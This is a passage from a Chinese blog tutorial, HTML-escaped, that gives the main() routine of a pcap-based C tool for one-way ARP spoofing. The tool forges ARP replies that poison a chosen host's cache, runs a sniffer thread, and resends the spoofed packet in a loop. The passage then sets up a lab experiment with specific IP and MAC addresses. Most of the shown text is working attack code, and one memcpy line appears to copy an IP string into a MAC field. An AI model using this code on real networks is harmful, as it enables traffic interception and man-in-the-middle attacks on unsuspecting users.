style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;int&nbsp;main(int&nbsp;argc,char&nbsp;*argv[])&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;devName[100];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;myIPAddress[15],myMAC[6];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;ARPPacket[42];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;A_IP[15]=&nbsp;{0},A_MAC[6]=&nbsp;{0};&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;B_IP[15]=&nbsp;{0},B_MAC[6]=&nbsp;{0};&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;pcap_t&nbsp;*hpcap=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;HANDLE&nbsp;hSnifferThread;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;PacketInfo&nbsp;PI;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;long&nbsp;A_addr,B_addr;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(ChooseDev(devName,sizeof(devName),myIPAddress)!=TRUE)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u83b7\u53d6\u7f51\u5361\u5931\u8d25\u3002\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getch();&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-1;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u83b7\u53d6\u672c\u673a\u7f51\u5361MAC&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(GetAdapterMAC(myIPAddress,myMAC)!=TRUE)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u83b7\u53d6\u7f51\u5361MAC\u5931\u8d25\u3002\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getch();&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-1;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u6253\u5f00\u7f51\u5361&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if((hpcap=OpenAdapter(devName))==NULL)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u7f51\u5361\u6253\u5f00\u51fa\u9519\u3002\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getch();&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-1;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u8f93\u5165\u6b3a\u9a97\u4e3b\u673a\u4fe1\u606f&nbsp;&nbsp;&nbsp;&nbsp;A&gt;&gt;&gt;&gt;&gt;\u5355\u5411\u6b3a\u9a97&gt;&gt;&gt;&gt;&gt;&gt;B&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;Input(A_MAC,A_IP,B_MAC,B_IP);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;A_addr=inet_addr(A_IP);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;B_addr=inet_addr(B_IP);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4ee5ARP\u5e94\u7b54\u7684\u65b9\u5f0f\u6b3a\u9a97\u4e3b\u673aA&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;Fill_ARPPACKET(ARPPacket,sizeof(ARPPacket),A_MAC,(char&nbsp;*)&amp;A_addr,myMAC,(char&nbsp;*)&amp;B_addr,2);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145\u4f20\u9012\u53c2\u6570&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;PI.hpcap=hpcap;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(PI.srcMAC,A_IP,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(PI.desIP,(char&nbsp;*)&amp;B_addr,4);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(PI.desMAC,B_MAC,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(PI.srcIP,(char&nbsp;*)&amp;A_addr,4);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(PI.myIP,myIPAddress,4);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(PI.myMAC,myMAC,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u5f00\u542f\u55c5\u63a2\u7ebf\u7a0b&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle((hSnifferThread=CreateThread(NULL,0,Ether_Sniffer,(PVOID)&amp;PI,0,NULL)));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;while(1)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sleep(1000);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendPacket(hpcap,ARPPacket,sizeof(ARPPacket));&nbsp;&nbsp;&nbsp;\/\/\u53d1\u9001ARP\u6b3a\u9a97\u5305&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u4e0b\u9762\u6765\u505a\u4e00\u4e2a\u5b9e\u9a8c\uff0c\u5728\u540c\u4e00\u7f51\u5173\uff08MAC:c8-3a-35-39-38-b0,IP:192.168.0.1\uff09\u4e0b\u6709A\uff08MAC:00-26-C7-3D-3A-4A,IP:192.168.0.100\uff09,B\uff08MAC:00-0c-29-06-&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;8c-51,IP:192.168.0.101\uff09\u4e24\u53f0\u4e3b\u673a\uff0c\u82e5A\u60f3\u7528\u7a0b\u5e8f\u5b9e\u73b0\u5355\u5411\u6b3a\u9a97A\u4e3b\u673a\u5230\u7f51\u5173\u7684\u6570\u636e\uff0c\u770b\u56fe\u4e2d\u6240\u793a\u586b\u5199\u7684\u65b9\u5f0f\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/adaf0ad2e085c835a82b2f021fe236ae20140124162544.jpg&quot; id=&quot;ematt:163&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-adaf0ad2e085c835a82b2f021fe236ae20140124162544.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; height=&quot;292&quot; width=&quot;447&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span 